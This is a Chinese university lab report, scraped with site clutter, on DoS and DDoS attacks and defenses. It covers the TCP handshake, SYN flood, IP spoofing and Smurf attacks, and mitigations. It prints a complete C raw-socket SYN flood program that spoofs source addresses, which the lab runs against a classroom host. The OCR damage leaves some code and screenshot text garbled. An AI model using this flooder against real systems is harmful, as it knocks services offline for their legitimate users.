版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、验 10-拒绝服务攻 击与防范精品文档贵州大学实验报告姓名学号实验 组实验时间2015.06.17指导教 师蒋朝惠成绩实验项目名 称实验十拒绝服务攻击与防范实 验 目 的(一)拒绝服务(Do0攻击与防范通过本实验的学习,使大家了解拒绝服务攻击的原理以及相应的 防范方法。通过一个 SYN Flood的拒绝服务程序,使大家加强对 Dos攻击的理解。(一)分布式服务(DDoS攻击与防范通过本实验的学习,使大家了解分布式拒绝服务 (DDoS)攻击的原 理以及相应的防范方法。实 验 要 求通过实验,理解和掌握DoS?口 DDoS勺攻击原理以及相应的防范方法实 验 原 理(一)拒绝服务(DoS攻击与防范1
2、. TCP议介绍传输控制协议是用来在/、可靠的Internet上提供可靠的、端 到端的字节流通信协议,在 FRC 793中有正式定义,还有一 些解决错误的方案在 RFC1122WT记录,RFC1323M有TCP的 功能扩展。常见到的TCP/IP协议中,IP层/、保证将数据报正 确传输到目的地 TCP则从本地机器接收用户的数据流,将其 分成不超过64KB的数据字段,将每个数据片段作为单独的 IP 数据包发送出去,最后在目的地机器中将其再组合成完整的 字节流,TCPB议必须保证可靠性。发送方和接收方的 TCP传 输以数据段的形式交换数据,i 一个数据段包括固定 20字 节,加上可选部分,后面再加上
3、数据。 TCP协议从发送方传输 一个数据耳朵时候,其中有一个确认号,它等于希望收到的 下一个数据段的序号,接收方还要发送回一个数据段,其中 有一个确认号,它等于希望收到的下一个数据段的顺序号。 如果计时器在确认信息到达以前超时了,发送方会重新发送 这个数据段。从上面的内容可以在总体上了解一点 TCP重要的是熟悉TCP 的数据头。因为数据流的传输最重要的就是 header里面的东 西,至于发送的数据,只是 TCP数据头附带上的、客户端和学院:计算机科学与技术学院专业:信息安全班级:服务器端的服务响应就是痛 header里面的数据有关,两端信 息交流和交换是根据 header中内容实施的,因此,要
4、了解 DoS攻击原理,就必须对 TCP的header中的内容非常熟悉。 有关TCP®(据段头格式参见7.1.3节内容。TCP!接采用3次握手”,其原理步骤如下所述。在没有连接时,接受方服务器处于监听状态,等待其它机器 发送连接请求。第一步,客户端发送一个带 SYN位的请求,向服务器表示需 要连接。第二步,服务器接收到这样的请求后,查看监听的端口是否为指定端口,如果不是,则发送 RST=1应答,拒绝建立连 接。如果是,那么服务器发送确认,SYN为服务器的一个内码,假设为100, ACK位则为客户端的请求序号加1,本例中 发送的数据是:SYN=11,ACK=100用这样的数据发送给客户
5、端。向客户端标明,服务器连接已准备好,等待客户端的确 认。这时客户端接收到信息后,分析得到的信息,准备发送确认 连接信号到服务器。第三步,客户端发送确认信息建立连接的消息给服务器端,确认信息的SYN©是服务器发送的ACK©, ACKB是服务器发 送的 SYNJ©:力口 1.级:SYN=11 ACK=101这时,连接已经建立好了,可以进行发送数据的过程。服务器不会在每次接收到 SYN请求就立刻恢复客户端建立连 接,而是为连接请求分配内存空间,建立会话,并放到一个 队列中。如果等待队列已经满了,那么服务器就不会再为新 的连接分配资源,直接丢弃请求。如果到了这种地步,那
6、么 服务器就是拒绝服务了。2.拒绝服务(DoS攻击(1) DoS的基本概念DoS的英文全称是denial of service,也就是“拒绝服务”的意思。从网络攻击的各种方法和所产生的破坏情况来看,DOS#是一种很简单但又很有效的攻击方式。它的目的就是拒绝服 务访问,破坏服务程序正常运行,最终它会使部分Internet连接和网络系统失效。DoS的攻击方式有很多种,最基本的 DoS攻击就是利用合理的服务请求来占用过多的资源,从而使 合法用户无法得到服务。DoS攻击的基本过程是:攻击者向服务器发送众多的带有虚假 地址请求,服务器发送回复请求后等待回传信息,由于地址 是伪造的,所以服务器一直等不到回
7、传的消息,分配给这次 请求的资源就始终没被释放。当服务器等待一段时间后,连 接会因超时而呗切断,攻击者会再传送一批新的请求,在这 种反复发送伪地址请求的情况下,服务器资源会最终被耗尽。被DOS$击事的现象大致有:被攻击主机上有大量等待的TCR!接。被攻击主机的系统资源被大量占用,造成系统停顿。 网络充斥着大量无用的数据包,源地址为伪造地址。 大量无用数据使得网络拥塞,受害主机无法与外界进行通 信。利用受害主机提供的服务或传输协议上的缺陷,反复高速 地发送特定的服务请求,使受害主机无法及时处理所有正常 请求,严重时会造成系统崩溃。(2)拒绝服务攻击的基本方法要对服务器实现拒绝服务攻击,实质上有两
8、种方式:一是迫 使服务器的缓冲区满,不接受新的请求;二是使用IP欺骗,迫使服务器把合法的连接复位,影响合法用户的连接。这就 是DoS攻击实施的基本思想。具体实现有一下几种方法:SNY Flood。编写发包程序,设置 TCP的Header-,向服务器 端不断成倍地发送只有 SYN标志的TCP请求。当服务器接收 的时候,都认为是没有建立起来的连接请求,于是为这些请 求建立会话,排到缓冲队列中。如果SYN请求超过了服务器能容纳的限度,缓冲区队列占满,那么服务器就不再接收新 请求了,其他合法用户的连接都被拒绝掉。IP欺骗DoS攻击。这种攻击利用 RST位来实现。假设现在 只有有一个合法用户(1.1.1
9、.1 )已经同服务器建立了正常的 连接,攻击者构造攻击的TCP数据,伪装自己的 IP为 ,并向服务器发送一个带有 RST位的TCP数据段。服 务器接收到这样的数据后。认为从 发送的连接错误,就会清空缓冲区中建好的连接。这时。如果合法用户 再发送合法数据;服务器就已经没有这样的连接了, 该用户就必须重新开始建立连接。使用这种攻击方式时,需 要伪造大量的IP地址,向目标发送RST数据,可以使服务器 不对合法用户服务。Smuf。广播信息可以通过一定的手段发送到整个网络机器 中。当某台机器使用广播地址发送一个ICMP echo请求包时,一些系统会回应一个ICM
10、P echo回应包。自身消耗的DoS攻击。这种DoS攻击就是把请求数据包中 的客户端IP和端口设置成主机自己IP和端口,再发送给主 机,使得主机给自己发送 TCP相应和连接。这样,主机就会 很快把资源耗光,直接导致死机。这种伪装攻击对一些身份 认证系统威胁巨大。塞满服务器的硬盘。通常,如果服务器可以没有限制地执 行写操作;那么通过一些手段就可以造成硬盘被写满,从而 拒绝服务;比如发送垃圾邮件。合理利用策略。一般服务器都有关于账户锁定的安全策 略,比如某个账户连续 3次登陆失败,那么这个账号将被锁 定。这点也可以被破坏者利用,他们伪装一个账号去错误登 陆,这样使得这个账号被锁定,而正常的合法用户
11、就不能使 用账号去登陆系统了。(3)拒绝服务攻击的防范到目前为止,防范DoS特别是DDoSt击仍比较困难。但仍然 可以采取一些措施以降低其产生的危害。对中小型网站来 说,可以从以下几个方面进行防范:主机设置。即加固操作系统,对各操作系统参数进行设置 以加强系统稳固性。重新编译或设置 Linux以及操作各种BSD 系统、Solaris等操作系统内核中某些参数,可在一定程度上 提高系统的抗攻击能力。例如,对于DoS攻击的典型种类一一SYN Flood,它利用TCP/IP漏洞发送大量伪造的 TCP连接 请求,以造成网络无法连接用户服务或使操作系统瘫痪。该 攻击过程涉及系统的一下参数:可等待的数据包的
12、链接数和 超时等待数据包的时间长度。因此,则进行如下设置: 关闭不必要的服务。将数据包的链接数从默认值128或512改为2048或更大, 以家常每次处理数据包队列的长度;以缓解和消化更多数据 包的连接。 将连接超时时间设置得较短,以保证正常数据包的连接, 屏蔽非法攻击包。 及时更新系统、安装补丁。防火墙设置。仍以 SYN Flood为例,可以在在防火墙上进 行如下设置: 禁止对主机非开放服务的访问。 限制同时打开的数据包最大连接数。限制特定IP地址的访问。启用防火墙的防DDoS勺属性。严格限制对外开放服务器的向外访问,以防止自己服务器 被当作工具攻击他人。 Random Drop算法。当流量达
13、到一定阀值时,按照算法规则 丢弃后续报文,以保持主机的处理能力。其不足是会误丢正 常的数据包,特别是在大流量数据包的攻击下,正常数据包 容易随非法数据包被拒之网外。 SYN Cookie算法。采用“六次握手”技术以降低受攻击率。 其不足是依据列表查询,当数据流量增大时,列表急剧膨 胀,计算量随之提升,容易造成响应延迟乃至系统瘫痪。路由器设置。以CISCO各由器为例,可采取如下方法。 Cisco Express Forwarding(CEF)。 使用 Unicasat reverse-path 。 访问控制列表(ACD过滤。 设置数据流量速率。 升级版本过低的IOS。 为路由器建立log ser
14、ver 。不论防火墙还是路由器都是到外界的接口设备,在进行防DDoS设置的同时,要权衡可能牺牲的正常业务代价,谨慎行 事。利用负载均衡技术。就是把应用业务分部到几台不同的服务器上。采用循环 DNS服务或者硬件路由器技术,将进入系 统的请求分流到多台服务器上。这种方法要求投资较大,相 应的维护费也高,中型网站如果有条件可以考虑。以上方法对流量小、正对性强、结构简单的DoS攻击进行防范还是很有效的。而对于 DDoS攻击,则需要能够应付大流量 的防范措施和技术,需要能够综合多种算法、集多种网络设 备功能的集成技术。(二)分布式服务(DDoS攻击与防范1. DDoS勺基本概念分布式拒绝服务攻击时借助于
15、客户一一服务器技术,将多个 计算机联合起来作为攻击平台,对一个活活在多个目标发动 攻击,使成倍的增加攻击能力。2. DDoS勺攻击原理(1) Smurf 与 Fraggle将一个目的地址设置成广播地址后,它就会被网络中的所有主机接收并处理。其中 Smurf是用广播地址发送ICMP ECHCfe,而Fraggle是用广播地址发送UDPfeo(2) trinoo是复杂的DDoSfc击程序,它使用主控程序 master对实 际实施攻击的任何数量的“代理”程序实现自动控制。(3) TFN2K是一个使用master程序与位于多个网络上的哦国内国际代理进行通信。(4) Stacheldraht也是基于TF
16、N的,采用C/S模式,其中master程序与潜 在的成千上万个代理程序进行通信。3. DDo繇统的一般结构在更一般的情况下,DDoS能使用多台控制机,形成一个攻 击结构。4. DDoS勺监测(1)根据异常情况分析(2) 使用DDoS佥测工具5. DDoS®击的防御策略实 验 仪 器实 验 步 骤、 内 容、 数 据(一)拒绝服务(DoS攻击与防范1 .安装有Windows操作系统的PG编辑工具可选用 VC+ 6.0。2 .由hub或交换机组成的有若干台PC局域网。(二)分布式服务(DDoS攻击与防范Windows server 2003 ,风云压力测试 DDo歌件,冰盾防火墙(一)拒
17、绝服务(DoS攻击与防范1 .在一个局域网环境中,根据实验内容中提供的DoS程序,编写一个SYN Flood拒绝服务程序。使用自己编写的 DoS程序攻击实验 室的一台实验主机,在实验主机上安装一个网络监听工具(如 tcpdump等),观测DoS攻击效果。2 .交自己编辑的 SYN Flood拒绝服务攻击程序猿代码,并对代码中 的关键步骤添加注释,通过网络监听工具观测攻击效果,并对实 验结果进行分析。3 . SYN Flood程序如下:#include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#in
18、clude <windows.h>#include <time.h>#include <dos.h>#pragma comment(lib, "ws2_32.lib")#define MAX_RECEIVEBYTE 255 typedef struct ip_head/ 定义 IP 首部 unsigned char h_verlen; /4 位首部长度,4 位 IP 版本号 unsigned char tos;/8 位服务类型 TOSunsigned short total_len;/16位总长度(字节)unsigned short id
19、ent; /16 位标识unsigned short frag_and_flags; /3 位标志位 (如 SYN,ACK 等)unsigned char ttl; /8 位生存时间 TTLunsigned char proto; /8 位协议(如 ICMP TCP等)unsigned short checksum; /16 位 IP 首部校验和unsigned int sourceIP; /32 位源 IP 地址unsigned int destIP; /32位目的 IP 地址IPHEADER;typedef struct tcp_head / 定义 TCPW部 USHORT th_spor
20、t; /16 位源端 口USHORT th_dport; /16 位目的端口unsigned int th_seq; /32 位序列号 unsigned int th ack; /32位确认号unsigned char th_lenres;/4位首部长度/6位保留字unsigned char th_flag; /6位标志位USHORT th_win;/16 位窗 口大小USHORT th_sum; /16 位校验和USHORT th_urp; /16位紧急数据偏移量 TCPHEADER;收集于网络,如有侵权请联系管理员删除typedef struct tsd_head /unsigned lo
21、ng saddr; / unsigned long daddr; / char mbz;char ptcl; /协议类型unsigned short tcpl; /TCP定义TCPft首部源地址目的地址长度PSDHEADER;/CheckSum:计算校验和的子函数USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0;while(size >1)cksum+=*buffer+;size -=sizeof(USHORT); if(size) cksum += *(UCHAR*)buffer;cksum = (cksum
22、 >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(cksum); void usage()prntfS*)printf("SYN_FLOOD MADE BY LionD8");printf("Useage:FLOOD Target_ip Target_port Delay_time");prntfS*) /Delay_time 单位为毫秒。int main(int argc, char* argv)WSADATA WSAData;SOCKET
23、sock;SOCKADDR_IN addr_in;IPHEADER ipHeader;TCPHEADER tcpHeader;PSDHEADER psdHeader;int SourcePort;char szSendBuf60=0;BOOL flag;int rect,nTimeOver;int sleeptime;usage();if (argc < 3 | argc >4 ) printf("input error!");return false; if (argc=4) sleeptime=atoi(argv3);else sleeptime=300;i
24、f (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)printf("WSAStartup Error!");return false;sock=NULL;if(sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP)=INVALID_SOCKET)printf("Socket Setup Error!");return false;flag=true;if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char*)&flag,sizeof(flag
25、)=SOCKET_ERROR)printf("setsockopt IP_HDRINCL error!");return false;nTimeOver=1000;if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver)=SOCKET_ERROR) /设置发送的时间一printf("setsockopt SO SNDTIMEO error!");return false;addr_in.sin_family=AF_INET;addr_in.
26、sin_port=htons(atoi(argv2);addr_in.sin_addr.S_un.S_addr=inet_addr(argv1); while(TRUE)/填充IP首部ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long); ipHeader.tos=0; ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHead er); /IP 总长度ipHeader.ident=1;ipHeader.frag_and_flags=0; / 无分片随机产i
27、pHeader.ttl=(unsigned char)GetTickCount()%87+123; ipHto=IPPROTO_TCP; / 协议类型为 TCP ipHeader.checksum=0; / 效验位先初始为 0 ipHeader.sourceIP=htonl(GetTickCount()*474695); / 生一个伪造的IPipHeader.destIP=inet_addr(argv1);/ 目标 IP/填充TCP!"部/发送的目的端源端口号序列号SourcePort=GetTickCount()*43557%9898; / 随机产生一个端 口 号
28、tcpHeader.th_dport=htons(atoi(argv2);ItcpHeader.th_sport=htons(SourcePort); /tcpHeader.th_seq=htonl(0x12345678); / tcpHeader.th_ack=0; / 确认号tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);tcpHeader.th_flag=2; / 为 SYN青求tcpHeader.th_win=htons(512);tcpHeader.th_urp=0;tcpHeader.th_sum=0;/填充TC*首部用来计
29、算TCP头部的效验和 psdHeader.saddr=ipHeader.sourceIP; psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0;psdHeader.ptcl=IPPROTO_TCP;psdHeader.tcpl=htons(sizeof(tcpHeader);/计算校验和 memcpy(szSendBuf, &psdHeader, sizeof(psdHeader);memcpy(szSendBuf+sizeof(psdHeader),&tcpHeader,sizeof(tcpHeader);tcpHeader.th
30、_sum=checksum(USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader);把伪造好的IP头 和TCP头 放进buf准备发送&tcpHeader,szSendBuf, (structmemcpy(szSendBuf, &ipHeader, sizeof(ipHeader); memcpy(szSendBuf+sizeof(ipHeader), sizeof(tcpHeader);/发送数据包rect=sendto(sock,sizeof(ipHeader)+sizeof(tcpHeader),0,sockaddr*)
31、&addr_in, sizeof(addr_in);if (rect=SOCKET_ERROR)printf("send error!:%x",WSAGetLastError();return false; else printf("send ok!");Sleep(sleeptime); /根据自己网速 的快慢 确定此值, sleeptime越小发得越快/endwhile /重新伪造IP的源地址等再次向目标发送closesocket(sock);WSACleanup();return 0;4.运行代码得到如下可执行文件:大小嵯改日期B mt-h
32、hrra»inmm|E百苫电;173 KB住用程序2010-6-12 10:29A1闻3拈,舐¥41 KB及用程序才展3010-6-12 lOflQA二 I 便匚口 420,口 1 L注口9 KB应用程序如程】/ loizg口tjM5VTRTl.rjl 14£5 KR应用程序扩展£口1 口忐12 1Q;K45.攻击之前,将一台web服务器的服务端口改为1234,如下:6.访问上面的web服务器如下:经明端口inoo域名上洙3 30 上 k画tMssm-s,凤工河给原力剧演白金策均市目标19? ISB E 73够口号匐(XM制才m mLn.-ZjlL9J
33、.-SjF hiuMMdfc P ii tin i r ief淡水项1r i口淡水段击 r ihtt紫迨百jgl目布卜品.目标L匚“陶口会目秆MWu目稼Z a*一流口铀目新M仲”. S tpJ. »端口正£目也A'A'A'.目花4. COT一端”邺目标日应en流口叵jH1 1依甘所时间|ZD分钟响开皑班匚日瑞眉41F mr座存圆出r加服号用或击L芟界Ct攻立一 勺:洁壬|.而州 打口灯1仃同用硼速取徵圾叵p5-Tfol 同渊遗瞅数量画"piFTTi'fllp姗医用联星叵|jj-Tl 间 pJ枷告取蛆prpo-灯同加枷单.赃阿罹度 量
34、殍 一J证煌T钺5.; 岫心赳与匚泻利行开蛤更新犯每帏厂至选厂室信王初r区超主it r 减主机E£u)r 蜜类以拜可sm自虹热M主矶:,电;it排咋至我曲二-出S.符止牌止修止后止 府止却就初定回回国I9Z 153. Z 1332D4E局嫉网 对方知港在可一直争问15=i10(3.153.Z 40Z. 1.352.91¥i> ZOOSir sisIP SP220«ZC462C4G:局看两对才招除在司一内青网 局成利计方和慰左同一内都同上映主机4噬若转精广* 口的小书使用SYNt击C6后,用其他计算机ping计算机C6,发现无 法连接-二】I XMiertaof t Uindows.2.37tfH 1CO 强致所有 lMUb-2U0J llxci-osoFt Cotp.C x MhsGaiusnt-B and Sell In、MMnlm ictr atorp iii9 lf£
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 中国装配式基建行业市场运营态势及投资前景研判报告
- (2024)清明祭英烈活动方案
- 《保肝药物分类》课件
- 工程水暖安装合同模板
- 《王老吉品牌定位》课件
- 如何做好课件-powerpoint动画制作
- 工厂纸箱采购合同范例
- 家具加工定做合同模板
- 工作3合同范例
- 工程赔偿合同范例
- 工会爱心母婴室管理制度
- 《温度传感器》课件
- 人教版六年级数学上册典型例题系列之第三单元分数除法应用题部分基础篇(解析版)
- 出口运输装卸管理制度
- 脓毒血症指南阅读课件
- 建筑施工进度管理:合理安排工期确保按时交付
- 学校关于铸牢中华民族共同体意识宣传教育工作的总结
- 如何建立质量管理体系
- 排污单位自行监测技术指南 砖瓦工业(HJ 1254-2022)
- 炮眼钻孔施工方案
- 食品检验检测技术专业职业生涯规划书
评论
0/150
提交评论